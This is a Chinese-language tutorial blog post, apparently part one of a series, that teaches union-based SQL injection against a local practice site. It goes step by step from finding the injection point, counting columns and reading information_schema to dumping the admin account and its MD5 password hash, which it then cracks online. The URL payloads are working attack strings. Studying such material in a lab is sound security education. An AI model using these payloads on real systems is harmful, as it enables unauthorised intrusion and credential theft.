SQL注入基础步骤及SQLMap工具使用(一)

SQL注入基础步骤及SQLMap工具使用(一)

测试环境为VMware WorkStation虚拟机

一、环境搭建

(一)、phpstudy2018集成环境安装使用

安装使用,自行百度,下载地址:官网地址

1. http://phpstudy.php.cn/

(二)、SQL注入源码

百度网盘:

1. 链接:https://pan.baidu.com/s/1B0VSwXk6JnZbBpRgr5S3iQ 密码:wgze

(三)、图示

 

目标网站:

1. http://localhost/sqls/index.php?id=1

二、SQL注入过程详解

(一)、注入点查找

1、'单引号测试

1. http://localhost/sqls/index.php?id=1'

图示:

2、and 1=1 和 and 1=2测试

1. http://localhost/sqls/index.php?id=1 and 1=1

2. http://localhost/sqls/index.php?id=1 and 1=2

图示:1

 

图示:2

测试结果:该URL可注入

(二)、详细注入过程

1、order by 猜字段数

1. http://localhost/sqls/index.php?id=1 oder by 3

图示:

 

 

http://localhost/sqls/index.php?id=1 oder by 4

图示:

 

得出字段数为3

2、union联合查询

(1)、查看当前运行环境

常用函数,其他请自行查询

1)、数据库名称:

1. database()

2)、当前用户:

1. user()

3)、php版本:

1. version()

4)、操作系统:

1. @@version_compile_os

图示:1

 

 

图示:2

 

(2)、猜解表名:

1. http://localhost/sqls/index.php?id=1 union select 1,2,table_name from information_schema.tables where table_schema = 0x74657374   (test的16进制)

 

图示:

 

猜解结果:admin表为我们要找的存储管理员账号、密码的表

(3)、猜解列名

1. http://localhost/sqls/index.php?id=1 union select 1,2,column_name from information_schema.columns where table_name = 0x61646d696e

图示:

 

猜解结果:user、pwd为我们要找的管理员账号、密码

(4)、猜解最终账号、密码

1)、猜解账号

1. http://localhost/sqls/index.php?id=1 union select user,2,3 from admin

图示:

 

猜解结果:管理员账户-admin

2)、猜解密码

1. http://localhost/sqls/index.php?id=1 union select pwd,2,3 from admin

图示:

 

猜解结果:管理员密码-3f230640b78d7e71ac5514e57935eb69(32位md5加密)

3)、md5在线解密

网站:

1. http://www.cmd5.com/

结果:密码-qazxsw

三、登录后台

图示:

有任何问题和需要可联系本人:

QQ:806797785

邮箱:gaogzhen@foxmail.com

  • 4
    点赞
  • 38
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

gaog2zh

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值